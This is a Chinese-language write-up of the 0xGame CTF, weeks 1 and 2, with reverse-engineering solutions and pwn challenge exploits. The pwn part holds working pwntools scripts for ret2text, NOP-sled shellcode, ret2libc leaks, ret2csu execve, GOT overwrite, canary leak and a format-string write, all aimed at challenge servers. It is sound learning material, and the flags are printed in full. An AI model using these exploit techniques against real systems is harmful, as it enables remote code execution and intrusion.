0xgame
week1
Re
数字筑基
| else
{
sub_401020((char *)&byte_402210, Arglist[0]);
v4 = "0xGame{5f4812eb-6dee-46ab-9910-92af643cd911}\n";
}
sub_401020(v4, Arglist[0]);
system("pause");
return 0;
}
|
| 0xGame{5f4812eb-6dee-46ab-9910-92af643cd911}
|
代码金丹
| v3 = strcmp(Arglist, "0xGame{620bbfcb-e56f-4e6d-8069-9587e066130a}");
if ( v3 )
v3 = v3 < 0 ? -1 : 1;
v4 = (char *)&unk_4021B0;
if ( !v3 )
v4 = (char *)&byte_40217C;
sub_401020(v4, Arglist[0]);
|
| 0xGame{620bbfcb-e56f-4e6d-8069-9587e066130a}
|
网络元婴
| mov [rsp+1F0h+var_1D0], 30h ; '0'
mov [rsp+1F0h+var_1CC], 78h ; 'x'
xor ebx, ebx
mov [rsp+1F0h+var_1C8], 47h ; 'G'
mov [rsp+1F0h+var_1C4], 61h ; 'a'
mov [rsp+1F0h+var_1C0], 6Dh ; 'm'
mov [rsp+1F0h+var_1BC], 65h ; 'e'
mov [rsp+1F0h+var_1B8], 7Bh ; '{'
mov [rsp+1F0h+var_1B4], 37h ; '7'
mov [rsp+1F0h+var_1B0], 31h ; '1'
mov [rsp+1F0h+var_1AC], 30h ; '0'
mov [rsp+1F0h+var_1A8], 37h ; '7'
mov [rsp+1F0h+var_1A4], 65h ; 'e'
mov [rsp+1F0h+var_1A0], 65h ; 'e'
mov [rsp+1F0h+var_19C], 62h ; 'b'
mov [rsp+1F0h+var_198], 38h ; '8'
mov [rsp+1F0h+var_194], 2Dh ; '-'
mov [rsp+1F0h+var_190], 36h ; '6'
mov [rsp+1F0h+var_18C], 37h ; '7'
mov [rsp+1F0h+var_188], 31h ; '1'
mov [rsp+1F0h+var_184], 39h ; '9'
mov [rsp+1F0h+var_180], 2Dh ; '-'
mov [rsp+1F0h+var_17C], 34h ; '4'
mov [rsp+1F0h+var_178], 39h ; '9'
mov [rsp+1F0h+var_174], 38h ; '8'
mov [rbp+0F0h+var_170], 32h ; '2'
mov [rbp+0F0h+var_16C], 2Dh ; '-'
mov [rbp+0F0h+var_168], 61h ; 'a'
mov [rbp+0F0h+var_164], 30h ; '0'
mov [rbp+0F0h+var_160], 33h ; '3'
mov [rbp+0F0h+var_15C], 64h ; 'd'
mov [rbp+0F0h+var_158], 2Dh ; '-'
mov [rbp+0F0h+var_154], 39h ; '9'
mov [rbp+0F0h+var_150], 38h ; '8'
mov [rbp+0F0h+var_14C], 35h ; '5'
mov [rbp+0F0h+var_148], 33h ; '3'
mov [rbp+0F0h+var_144], 30h ; '0'
mov [rbp+0F0h+var_140], 33h ; '3'
mov [rbp+0F0h+var_13C], 33h ; '3'
mov [rbp+0F0h+var_138], 35h ; '5'
mov [rbp+0F0h+var_134], 64h ; 'd'
mov [rbp+0F0h+var_130], 66h ; 'f'
mov [rbp+0F0h+var_12C], 39h ; '9'
mov [rbp+0F0h+var_128], 33h ; '3'
mov [rbp+0F0h+var_124], 7Dh ; '}'
|
| 0xGame{7107eeb8-6719-4982-a03d-98530335df93}
|
虚拟化神
这里的逻辑是检测config.txt的值是不是==1, ==1输出flag,直接修改config中的值为1
| while ( v5 );
fopen_s(&Stream, "config.txt", "r");
if ( Stream && (fgets(Buffer, 2, Stream), fclose(Stream), atoi(Buffer) == 1) )
{
vfprintf1((char *)&byte_1400032B8);
vfprintf1("%s\n", (const char *)v10);
}
else
{
vfprintf1((char *)&byte_1400032E0);
scanf("%s");
if ( !strcmp(v15, (const char *)v10) )
{
fopen_s(&Stream, "config.txt", "w");
vfprintf(Stream, "%d", (va_list)1);
fclose(Stream);
vfprintf1(byte_1400032F8);
}
else
{
fopen_s(&Stream, "config.txt", "w");
vfprintf(Stream, "%d", 0i64);
fclose(Stream);
vfprintf1((char *)&byte_140003328);
}
}
|
| 0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}
|
赛博天尊
这里需要 构造一个能跳过if判断的数据,这个数据就是flag,这个数据的构造方式就是解方程,这里有些很直观的约束条件,flag长度是44,求解的范围是0xGame{%16llx-%16llx-%16llx-%16llx-%16llx} 这里五个位置,分别对应v7 v8 v9 v10 v11,然后这五个未知数的性质是下面几个运算 !=改成== ,用z3写脚本求这个方程
| int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rdx
char *v5; // rcx
__int64 v7; // [rsp+40h] [rbp-148h]
__int64 v8; // [rsp+48h] [rbp-140h]
__int64 v9; // [rsp+50h] [rbp-138h]
__int64 v10; // [rsp+58h] [rbp-130h]
__int64 v11; // [rsp+60h] [rbp-128h]
char Buffer[256]; // [rsp+70h] [rbp-118h] BYREF
sub_140001020((char *)&Format);
sub_140001080("%s");
v3 = -1i64;
do
++v3;
while ( Buffer[v3] );
if ( v3 != 44
|| Buffer[43] != 125
|| (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),
7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
|| (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
|| v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
|| v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
|| (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
{
v5 = (char *)&byte_1400032D8;
}
sub_140001020(v5);
system("pause");
return 0;
}
|
| from z3 import *
v7, v8, v9, v10, v11 = BitVecs('v7 v8 v9 v10 v11', 64)
def int64_to_ascii_bytes(num):
ascii_bytes = []
for _ in range(8):
byte = num & 0xFF
ascii_bytes.append(byte)
num >>= 8
return ascii_bytes[::-1]
v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)
constraints = [
7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2,
# v4 == v9 + v10 + 2 * v10 + 2 * (v11 + v7),
# v8 + 2 * v4 + v4 == 0x159BFFC17D045,
v8 + 2 * v4 + v4 == 0x159BFFC17D045,
v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501,
v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA,
v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28
]
s = Solver()
s.add(constraints)
if s.check() == sat:
m = s.model()
else:
m = None
print(m)
if m != None:
print(f"0xGame{{{hex(m[v7].as_long())}-{hex(m[v8].as_long())}-{hex(m[v9].as_long())}-{hex(m[v10].as_long())}-{hex(m[v11].as_long())}}}")
else:
print("None")
|
| 0xGame{a08dd948-39da-4068-a33f-399f5eca5562}
|
pwn
找不到且不对劲的flag
ls -al有个隐藏目录,里面有flag
| 0xGame{N3t_cA7_M30w_9dn23hcx8}
|
永远进不去的后门
ret2text,read是可以溢出的,有system 有binsh 有pop rdi ret
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-40h] BYREF
int v5; // [rsp+8h] [rbp-38h]
bufinit(argc, argv, envp);
puts("Welcome to 0xGame2023!");
puts("Tell me sth interesting, and I will give you what you want.");
read(0, buf, 0x100uLL);
if ( v5 % 2023 == 2023 )
system("/bin/sh");
else
puts("Not that interesting. Bye.");
return 0;
}
|
| from pwn import *
context.binary = elf = ELF("ret2text")
context.log_level = 'debug'
ip = "8.130.35.16"
port = 51002
p = remote(ip,port)
## p = process()
p.recvline()
p.recvline()
payload = b'a' * (0x40 + 8)
payload += p64(0x40101a) # ret
payload += p64(0x401323) # pop rdi ret
payload += p64(0x40205c) # binsh
payload += p64(0x401090) # system
p.sendline(payload)
p.interactive()
|
| 0xGame{W3lC0me_4b0rd_PWN_L4nd!_k20cu2c7}
|
随便乱搞的shellcode
好耶,这个题好好玩
bufa = (void (*)(void))&buf[rand() % 256]; 然后 bufa(); 这里命中shellcode的概率很小,搜索了一下,有一种叫做nop滑行的方式,在shellcode前填充大量的nop,命中nop部分的话,会像滑行一样滑到shellcode。
然后close(1); 这里把标准输出流给关了,查询了一下,其实还有一个fd为2的错误输出流,用 > &2 重定向到错误输出流就能读到flag啦
| int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char *buf; // [rsp+8h] [rbp-8h]
void (*bufa)(void); // [rsp+8h] [rbp-8h]
bufinit(argc, argv, envp);
buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Now show me your code:");
read(0, buf, 0x100uLL);
puts("Implementing security mechanism...");
v3 = time(0LL);
srand(v3);
bufa = (void (*)(void))&buf[rand() % 256];
close(1);
puts("Done!");
bufa();
return 0;
}
|
| from pwn import *
context.binary = elf = ELF("ret2shellcode")
context.log_level = 'debug'
context(arch='amd64', os='linux')
ip = "8.130.35.16"
port = 51003
p = remote(ip,port)
## p = process()
p.recvline()
shellcode = asm(shellcraft.amd64.linux.sh())
nop_sled = b'\x90' * (0x100 - len(shellcode))
payload = nop_sled + shellcode
p.sendline(payload)
p.interactive()
|
| 0xGame{Try_to_Wr1t3_by_yourse1f!_an9d02cy}
|
我后门呢?
ret2libc捏,strlen的话,是根据\x00来判断长度的,所以可以通过\x00绕过,然后用put_plt(put_got)来泄露一个puts的地址,通过puts的地址和puts在libc中的偏移计算出libc_base。有了libc_base就能拿到想要的东西啦(指system 和binsh字符串)
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
bufinit(argc, argv, envp);
puts("There won't be shell for you!");
puts("Now give me your input:");
read(0, buf, 0x100uLL);
if ( strlen(buf) > 0x20 )
{
puts("No chance for you to overflow!");
exit(1);
}
puts("See you next time!");
return 0;
}
|
| from pwn import *
context.binary = elf = ELF('ret2libc')
libc = ELF('libc.so.6')
context.log_level = 'debug'
ip = "8.130.35.16"
port = 51005
p = remote(ip,port)
## p = process()
for i in range(2):
p.recvline()
offset = b'\x00' * (0x20 + 8)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x401333
main = 0x401245
payload = offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)
p.recv(len("See you next time!"))
puts_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leek_puts_address -> {hex(puts_address)}")
libc_base = puts_address - libc.symbols['puts']
success(f"libc_base_addresss -> {hex(libc_base)}")
for i in range(2):
p.recvline()
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x40101a
payload = offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
## gdb.attach(p)#
p.sendline(payload)
p.recvline()
p.interactive()
|
高端的syscall[补]
ww后面才知道有ret2csu这个技巧,ret2csu是使用了一些比较巧妙的gadgets来控制syscall execve需要的edi,rsi,rdx这三个寄存器的值。
题目中有set_rax的gadget,有pop rdi;ret的gadget,有pop rsi ; pop r15 ;ret 的gadget。 但是没有直接修改rdx的gadget,这时候可以使用libc_csu_init中的gadget来改变rdx寄存器的状态。
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF
bufinit(argc, argv, envp);
puts("I leave something interesting in this program.");
puts("Now try to find them out!");
puts("Input: ");
gets(v4);
return 0;
}
|
| .text:0000000000401196 public set_rax
.text:0000000000401196 set_rax proc near
.text:0000000000401196
.text:0000000000401196 var_4= dword ptr -4
.text:0000000000401196
.text:0000000000401196 ; __unwind {
.text:0000000000401196 F3 0F 1E FA endbr64
.text:000000000040119A 55 push rbp
.text:000000000040119B 48 89 E5 mov rbp, rsp
.text:000000000040119E 89 7D FC mov [rbp+var_4], edi
.text:00000000004011A1 8B 45 FC mov eax, [rbp+var_4]
.text:00000000004011A4 5D pop rbp
.text:00000000004011A5 C3 retn
.text:00000000004011A5 ; } // starts at 401196
.text:00000000004011A5
.text:00000000004011A5 set_rax endp
|
程序中没有binsh,需要用get往bss段写binsh,最后csu gadget里call r15这个也可以利用一下,因为汇编中[]符号是取地址中的数据的意思,类似于解引用,我们想call syscall的地址,所以不能直接传syscall过去,要往一块区域上写syscall的地址,然后把这块区域的地址传过去,解引用后就得到syscall的地址,就能正常call啦
| .text:00000000004012C0 loc_4012C0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004012C0 4C 89 F2 mov rdx, r14
.text:00000000004012C3 4C 89 EE mov rsi, r13
.text:00000000004012C6 44 89 E7 mov edi, r12d
.text:00000000004012C9 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012C9
.text:00000000004012CD 48 83 C3 01 add rbx, 1
.text:00000000004012D1 48 39 DD cmp rbp, rbx
.text:00000000004012D4 75 EA jnz short loc_4012C0
.text:00000000004012D4
.text:00000000004012D6
.text:00000000004012D6 loc_4012D6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012D6 48 83 C4 08 add rsp, 8
.text:00000000004012DA 5B pop rbx
.text:00000000004012DB 5D pop rbp
.text:00000000004012DC 41 5C pop r12
.text:00000000004012DE 41 5D pop r13
.text:00000000004012E0 41 5E pop r14
.text:00000000004012E2 41 5F pop r15
.text:00000000004012E4 C3 retn
.text:00000000004012E4 ; } // starts at 401280
.text:00000000004012E4
.text:00000000004012E4 __libc_csu_init endp
|
| from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2syscall')
is_debug = 1
if(is_debug):
p = process()
else:
ip = "1.container.jingsai.apicon.cn"
port = 30926
p = remote(ip,port)
pop_rdi_ret = 0x00000000004012e3
set_rax = 0x0000000000401196
pop_rsi_pop_r15_ret = 0x00000000004012e1
syscall = 0x00000000004011ae
csu1 = 0x00000000004012DA
csu2 = 0x00000000004012C0
gdb.attach(p)
p.sendlineafter("Input: \n",flat([
b'a' * (0x10 + 0x8),
pop_rdi_ret,0x404000,elf.plt.gets, # gets(bss_addr)
pop_rdi_ret,0x3b,set_rax,
csu1,0,1,0x404000,0,0,0x404008,
csu2
]))
p.sendline(b"/bin/sh" + b"\x00" + p64(syscall))
p.interactive()
|
got-it[补]
show函数没有检查下界,可以输入一个负数来打印got表上的一个地址,然后通过这个地址减去libc中的偏移 计算出libc_base
| int show()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
printf("Input student id: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 15 )
return printf("Student name: %s\n", &list[8 * v1]);
else
return puts("Invalid id!");
}
|
edit函数也是没有检查下界,可以通过上面计算出的libc_base + system的偏移取到system的实际地址,然后把got表中exit的位置写成system的地址,就能system(binsh)啦
| int edit()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
printf("Input student id: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 15 )
return puts("Invalid id!");
printf("Input new student name: ");
return read(0, (char *)&list + 8 * v1, 8uLL);
}
|
| from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./vuln')
libc = ELF("./libc.so.6")
is_debug = 0
if(is_debug):
p = process()
else:
ip = "8.130.35.16"
port = 51006
p = remote(ip,port)
def menu(x):
p.sendlineafter(">> ",str(x).encode('utf-8'))
def edit(idx,name):
menu(3)
p.sendlineafter(b"id: ",str(idx).encode())
p.sendafter(b"name: ",name)
def show(x):
menu(2)
p.sendlineafter("Input student id: ",str(x).encode('utf-8'))
p.recvuntil(b"name: ")
return p.recvline()[:-1] # \n
puts_got=show(-17) # 0x4040A0 - (17 * 8) = 0x404018
puts_got = u64(puts_got.ljust(8, b'\x00'))
success(f"puts_got -> {puts_got}")
libc.address = puts_got-libc.sym.puts
success(f"libc_base ->{hex(libc.address)}")
success(f"system_addr ->{hex(libc.sym.system)}")
## gdb.attach(p)
edit(-11,p64(libc.sym.system)[:6])
menu(0x2023)
p.interactive()
|
week2
re
符文解密师
关键是这一行, sub_7616D0是一个c++的类,看起来会比较奇怪,动调了一下,这个sub_7616D0的作用是把inputString和"deadc0de"进行比较,相等的话返回1,传入deadc0de后拿到flag
| if ( (unsigned __int8)sub_7616D0(inputString, "deadc0de") )
|
| int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // eax
int inputString[6]; // [esp+54h] [ebp-28h] BYREF
int v8; // [esp+78h] [ebp-4h]
sub_761CC0(inputString);
v8 = 0;
v3 = sub_761360(std::cout, &unk_764244);
v4 = sub_761360(v3, &unk_76421C);
std::ostream::operator<<(v4, sub_761A40);
sub_7610A0(std::cin, inputString);
if ( (unsigned __int8)sub_7616D0(inputString, "deadc0de") )
v5 = sub_761360(std::cout, &unk_764278);
else
v5 = sub_761360(std::cout, &unk_7642C4);
std::ostream::operator<<(v5, sub_761A40);
system("pause");
v8 = -1;
sub_7620D0();
return 0;
}
|
| 0xGame{18f03f86-9783-62b5-466d-fc84c28bad3b}
|
码海舵师
简单的看了一下,有个没换表的base64encode函数,base64在线解密拿到flag捏
| // bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v6; // [esp-4h] [ebp-60h]
int v7; // [esp+0h] [ebp-5Ch]
int v8[6]; // [esp+4h] [ebp-58h] BYREF
char v9[24]; // [esp+1Ch] [ebp-40h] BYREF
char v10[24]; // [esp+34h] [ebp-28h] BYREF
int v11; // [esp+58h] [ebp-4h]
sub_401660(v10);
v11 = 0;
v3 = sub_401900(sub_401B40);
std::ostream::operator<<(v3, v6);
sub_401B70(std::cin, (int)v10);
sub_401310(v8[0], v8[1]);
LOBYTE(v11) = 1;
sub_401630(v9, "MHhHYW1le2ZjYmVlZWM3LTc3NTgtYmEyZi1jMDU5LTJmNWNhOWEzODc5YX0=");
LOBYTE(v11) = 2;
sub_401D40(v8, v9);
v4 = sub_401900(sub_401B40);
std::ostream::operator<<(v4, v7);
system("pause");
sub_401620(v9);
sub_401620(v8);
sub_401620(v10);
return 0;
}
|
| 0xGame{fcbeeec7-7758-ba2f-c059-2f5ca9a3879a}
|
编译逆旅者
https://tool.lu/pyc/ 可以用这个网站在线反编译pyc文件
所以真理的旗帜是114514呀
| import binascii
flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627D)[2:].encode())
print(flag)
|
| #!/usr/bin/env python
## visit https://tool.lu/pyc/ for more information
## Version: Python 3.11
import binascii
def main():
flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627DL)[2:].encode())
user_input = input('请输入一个秘密的数字:')
if not len(user_input) != 13 or user_input.isdigit():
print('无效输入。必须是13位数字。')
return None
if None == '1145141919810':
print(f'''真理的旗帜:{flag}''')
return None
None('秘密的数字错误!')
if __name__ == '__main__':
main()
return None
|
| 0xGame{cde9dc17-5a31-5c0a-df34-6c75b7646c4b}
|
注册侦探
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
_BYTE *v4; // rdi
__int64 v5; // rax
_BYTE *i; // rbx
__int64 v7; // rcx
void *v8; // rdx
__int64 v9; // rax
int Src[12]; // [rsp+30h] [rbp-19h] BYREF
HKEY hKey; // [rsp+60h] [rbp+17h] BYREF
DWORD cbData; // [rsp+68h] [rbp+1Fh] BYREF
DWORD Type; // [rsp+6Ch] [rbp+23h] BYREF
BYTE Data[4]; // [rsp+70h] [rbp+27h] BYREF
__int128 v16; // [rsp+78h] [rbp+2Fh]
char *v17; // [rsp+88h] [rbp+3Fh]
cbData = 4;
Type = 4;
v16 = 0i64;
Src[0] = 1383353091;
Src[1] = 189290078;
Src[2] = 38864395;
Src[3] = 503515984;
Src[4] = 1364350722;
Src[5] = 1448105758;
Src[6] = 89136641;
Src[7] = 85852241;
Src[8] = 72812293;
Src[9] = 50464516;
Src[10] = 1314325334;
v3 = (char *)operator new(0x2Cui64);
*(_QWORD *)&v16 = v3;
v4 = v3 + 44;
v17 = v3 + 44;
memmove(v3, Src, 0x2Cui64);
*((_QWORD *)&v16 + 1) = v3 + 44;
if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\0xGame", 0, 0x20019u, &hKey) )
{
if ( RegQueryValueExA(hKey, "registered", 0i64, &Type, Data, &cbData) )
{
v8 = &unk_7FF7160A3430;
}
else
{
if ( *(_DWORD *)Data == 1 )
{
v5 = sub_7FF7160A1420(std::cout, &unk_7FF7160A33E0);
std::ostream::operator<<(v5, sub_7FF7160A15F0);
for ( i = v3; i != v4; ++i )
sub_7FF7160A1630(std::cout, *i ^ 0x33);
v7 = std::cout;
goto LABEL_10;
}
v8 = &unk_7FF7160A3410;
}
v7 = sub_7FF7160A1420(std::cout, v8);
LABEL_10:
std::ostream::operator<<(v7, sub_7FF7160A15F0);
RegCloseKey(hKey);
goto LABEL_12;
}
v9 = sub_7FF7160A1420(std::cout, &unk_7FF7160A3450);
std::ostream::operator<<(v9, sub_7FF7160A15F0);
LABEL_12:
system("pause");
if ( v3 )
j_j_free(v3);
return 0;
}
|
这道题逻辑有些怪,但是观察到这里对上面src进行了操作,假设src是字符串,按字节拆分反转,然后异或操作一下,得到flag
| for ( i = v3; i != v4; ++i )
sub_7FF7160A1630(std::cout, *i ^ 0x33);
|
| def xor(num):
bytes_list = [
num & 0xFF,
(num >> 8) & 0xFF,
(num >> 16) & 0xFF,
(num >> 24) & 0xFF,
]
xor_bytes = [byte ^ 0x33 for byte in bytes_list]
return ''.join([chr(x) for x in xor_bytes])
flag = [
1383353091,189290078,38864395,503515984,1364350722,
1448105758,89136641,85852241,72812293,50464516,1314325334]
for i in flag:
string = xor(i)
print(string,end="")
|
| 0xGame{885b1c80-1dab-dce2-c6b3-664d77410e0d}
|
壳艺大师
这一题是c++ 写的,有很多奇怪的伪代码,这时候的思路是用动调的方式,观察数据变化,忽略掉对输入数据没有影响的操作,关注对输入数据有变化的操作,然后分析这些操作的逻辑
| int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 inputLen; // rbx
_BYTE *v4; // rax
char v5; // r9
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // r8
_BYTE *v9; // rax
int v10; // r10d
char v11; // r9
__int64 v12; // rax
__int64 v13; // rax
__int64 v15; // rax
int v16[11]; // [rsp+20h] [rbp-59h] BYREF
char v17[4]; // [rsp+4Ch] [rbp-2Dh] BYREF
__int128 v18; // [rsp+50h] [rbp-29h] BYREF
char v19[16]; // [rsp+60h] [rbp-19h] BYREF
char inputString[32]; // [rsp+70h] [rbp-9h] BYREF
char v21[24]; // [rsp+90h] [rbp+17h] BYREF
char v22[32]; // [rsp+A8h] [rbp+2Fh] BYREF
sub_7FF7B18E16E0(v22, argv, envp);
sub_7FF7B18E1600(v21);
v16[0] = 1361186916;
v16[1] = 253370901;
v16[2] = 402750470;
v16[3] = 492178028;
v16[4] = 139951691;
v16[5] = 1280387144;
v16[6] = 1392985440;
v16[7] = 1582069534;
v16[8] = 1330871133;
v16[9] = 1376213345;
v16[10] = 268923932;
v18 = *(_OWORD *)std::u16string_view::basic_string_view<char16_t,std::char_traits<char16_t>>(v19, v16, v17);
sub_7FF7B18E1640(v21, &v18);
sub_7FF7B18E1720();
sub_7FF7B18E1AF0(std::cout, &unk_7FF7B18E4468);
sub_7FF7B18E1D00(std::cin, inputString);
inputLen = _except_get_jumpbuf_sp((__int64)inputString);
if ( inputLen )
{
_except_get_jumpbuf_sp((__int64)v22);
while ( 1 )
{
sub_7FF7B18E16B0();
v4 = (_BYTE *)sub_7FF7B18E16B0();
LOBYTE(v6) = *v4 ^ v5;
v9 = (_BYTE *)std::unique_ptr<char [0]>::operator[](v21, v7, v8, v6);
if ( v11 != *v9 )
break;
if ( v10 + 1 >= inputLen )
goto LABEL_5;
}
v15 = sub_7FF7B18E1AF0(std::cout, &unk_7FF7B18E4488);
std::ostream::operator<<(v15, sub_7FF7B18E1EE0);
}
else
{
LABEL_5:
v12 = sub_7FF7B18E1AF0(
std::cout,
"\xB9\xA7ϲ\xA3\xA1\xC4\xFA\xBB\xF1\xB5\xC3\xC1\xCB\xD7\xEE\xD6\xD5\xB5\xC4\xC8\xD9\xD2\xAB\xA3\xBA");
v13 = sub_7FF7B18E1F20(v12, inputString);
std::ostream::operator<<(v13, sub_7FF7B18E1EE0);
system("pause");
}
sub_7FF7B18E16D0((__int64)inputString);
sub_7FF7B18E1630(v21);
sub_7FF7B18E16D0((__int64)v22);
return 0;
}
|
首先要找一条路径,程序走到哪里是正确的
走到这里是正确的
| LABEL_5:
v12 = sub_7FF7B18E1AF0(
std::cout,
"\xB9\xA7ϲ\xA3\xA1\xC4\xFA\xBB\xF1\xB5\xC3\xC1\xCB\xD7\xEE\xD6\xD5\xB5\xC4\xC8\xD9\xD2\xAB\xA3\xBA");
|
然后往上找 jmp到 label_5的操作,找到了关键位置,对数据操作关键的逻辑是这个异或,动调拿到了v5的值
| while ( 1 )
{
sub_7FF7B18E16B0();
v4 = (_BYTE *)sub_7FF7B18E16B0();
LOBYTE(v6) = *v4 ^ v5;
v9 = (_BYTE *)std::unique_ptr<char [0]>::operator[](v21, v7, v8, v6);
if ( v11 != *v9 )
break;
if ( v10 + 1 >= inputLen )
goto LABEL_5;
}
|
异或一遍拿到flag
| flag = [100, 16, 34, 81, 21, 34, 26, 15, 6, 124, 1, 24, 108, 10, 86, 29, 75, 126, 87, 8, 72, 40, 81, 76, 96, 69, 7, 83, 30, 119, 76, 94, 93, 123, 83, 79, 97, 89, 7, 82, 28, 116, 7, 16]
key = [0x54, 0x68, 0x65, 0x30, 0x78, 0x47, 0x61, 0x6D, 0x65, 0x4B, 0x65, 0x79]
for i in range(len(flag)):
byte = flag[i] ^ key[i % len(key)]
print(chr(byte),end="")
|
| 0xGame{bc7da8b3-396e-c454-bcf0-3806651bbd3f}
|
pwn
ezshop
可以买-1个flag,然后money就大于10000000了
calc
pwntool recvline过来,然后用正则拆分,计算后send回去就好了
| from pwn import *
import re
p = remote('8.130.35.16',55001)
pattern = r"^(\d+)([+])(\d+)=$"
line = p.recvline() ; print(line)
for i in range(100):
line = p.recvline(); print(line)
line = p.recvuntil(b'=').decode().strip(); print(line)
match = re.match(pattern,line)
num1 , operator , num2 = match.groups() if match else (None, None, None)
print(f"num1,num2{num1,num2}")
result = str(int(num1) + int(num2)).encode('utf-8')
print(f"result ->{result}")
p.sendline(result)
line = p.recvline(); print(line)
p.interactive()
|
ezcanary
有个backdoor函数
可以把canary的低位 \x00 给覆盖了,这样就能把canary打印出来,然后第二次read的时候带上canary,就好啦,这里有点坑的地方是getchar,要用send不要用sendline,会多一个\n
| from pwn import *
import struct
context.binary = elf = ELF('./pwn')
context.log_level = 'debug'
ip = "8.130.35.16"
port = 55000
p = remote(ip,port)
## p = process()
p.recvline()
payload = b'a' * (24 + 1)
p.send(payload)
## gdb.attach(p)
p.recvuntil(b'Hello, ')
line = p.recv(len(payload))
canary = b'\x00' + p.recv(7)
print(f"canary is -> {canary}")
s = chr(121).encode('utf-8')
p.send(s)
p.recvline()
payload = b'a' * (24) + canary
payload += b'a' * 8
payload += p64(0x401231)
p.sendline(payload)
p.interactive()
|
fmt1
read不能溢出,通过格式化字符串漏洞 %n 往 v7写数据,将v5的值改成8227就能拿到flag啦,偏移的计算可以通过gdb来调试,然后根据v6 v5的地址,找找周围,就能很快找到v7的地址
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
int v5; // [rsp+100h] [rbp-10h] BYREF
int v6; // [rsp+104h] [rbp-Ch]
int *v7; // [rsp+108h] [rbp-8h]
bufinit(argc, argv, envp);
v7 = &v5;
v6 = 8227;
v5 = 8447;
printf("Input your content: ");
read(0, buf, 0x100uLL);
printf(buf);
if ( v6 == v5 )
{
puts("Congratulations! Now here is your shell!");
puts("And welcome to format string world!");
system("/bin/sh");
}
return 0;
}
|
这里 %39$n是取偏移39的地址,然后往这个地址里面写入输出字符长度的数据,%8227c这里输出了8227个字符,这样就能修改v5的值啦